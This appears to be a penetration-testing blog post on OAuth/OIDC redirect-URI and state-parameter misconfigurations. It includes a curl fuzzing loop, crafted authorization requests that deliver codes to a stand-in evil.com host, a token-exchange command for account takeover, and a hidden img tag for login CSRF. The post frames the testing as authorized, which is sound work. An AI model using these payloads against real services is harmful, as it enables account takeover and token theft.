cd ../blog

OAuth and OIDC Misconfiguration: Redirect URIs and the state Parameter

Loose redirect URI matching and a missing state parameter turn social login into account takeover. We map the token-theft and CSRF paths and the fixes.

OAuth 2.0 and OIDC security rests on a few parameters being handled exactly right, and two recurring mistakes — loose redirect-URI validation and a missing or unchecked state — turn "log in with..." into account takeover. This is how to find the loose validation and prove token or session theft.

Finding it

Capture the authorization request your target sends to its identity provider and study the parameters: client_id, redirect_uri, scope, state, response_type, and (for OIDC) nonce. The authorization code that comes back is a bearer secret — whoever receives it can exchange it for the victim's tokens.

What to probe on the redirect_uri:

  • Extra path segments: https://app.example.com/cb/../evil or /cb/attacker.
  • Subdomain/suffix tricks: https://app.example.com.evil.com/cb, https://appexample.com/cb.
  • A second redirect_uri parameter (some servers validate the first, use the last).
  • An open redirect on the legitimate domain that bounces the code onward.

And on state: is it present, random, and actually verified on the callback? Replay a callback with a stale or altered state and see if the login still completes.

A fast discovery loop is to fuzz the redirect_uri against the provider and watch which variants return a code versus an error:

for u in \
  "https://app.example.com/cb" \
  "https://app.example.com.evil.com/cb" \
  "https://app.example.com@evil.com/cb" \
  "https://app.example.com/cb/../../evil" ; do
  echo "== $u =="
  curl -s -o /dev/null -w '%{http_code} %{redirect_url}\n' \
    "https://idp.example.com/authorize?response_type=code&client_id=app123&scope=openid&redirect_uri=$u"
done

Any variant that does not bounce to an error page is a candidate for code delivery to a host you control.

Proof of concept

Redirect-URI theft

Submit an authorization request with a redirect_uri pointing at a host you control but crafted to slip past validation:

GET /authorize?response_type=code
  &client_id=app123
  &redirect_uri=https://app.example.com.evil.com/cb
  &scope=openid%20email
  &state=xyz HTTP/1.1
Host: idp.example.com

If the provider accepts it and a victim completes login, the authorization code lands on your server:

GET /cb?code=AUTH_CODE_HERE&state=xyz  (received on evil.com)

Exchange it for the victim's tokens to prove takeover:

curl -s https://idp.example.com/token \
  -d grant_type=authorization_code \
  -d code=AUTH_CODE_HERE \
  -d redirect_uri=https://app.example.com.evil.com/cb \
  -d client_id=app123 -d client_secret=...
# a returned access_token/id_token for the victim == proof

Missing/unchecked state (login CSRF)

If state is not verified, capture your own valid authorization code (start a login, intercept the callback before it lands) and feed it into the victim's in-progress flow:

<!-- Hosted on attacker page; silently logs the victim into the attacker's account -->
<img src="https://app.example.com/oauth/callback?code=ATTACKER_VALID_CODE">

The victim ends up logged into your account and unknowingly enters their data (payment details, documents) there — a session-fixation-style takeover you demonstrate by showing the victim's actions landing in the attacker-controlled account.

Going further

Older deployments still use the implicit flow, returning tokens directly in the URL fragment. Because the access token rides in the URL, it leaks through browser history, Referer headers, and proxy logs — capture a token from any of those channels to prove exposure:

https://app.example.com/cb#access_token=ya29...&token_type=Bearer

Other escalations worth chaining:

  • An open redirect on the app domain (/redirect?to=) used as the redirect_uri to defeat exact matching while still satisfying it.
  • A missing OIDC nonce check enabling ID-token replay.
  • Over-broad scope granting more than the UI requested.

The cleanest writeup is a working takeover: the crafted authorization request, the code arriving on your server, and the token exchange returning the victim's credentials. Capture each request/response and use accounts you control as the "victim" on authorized scope.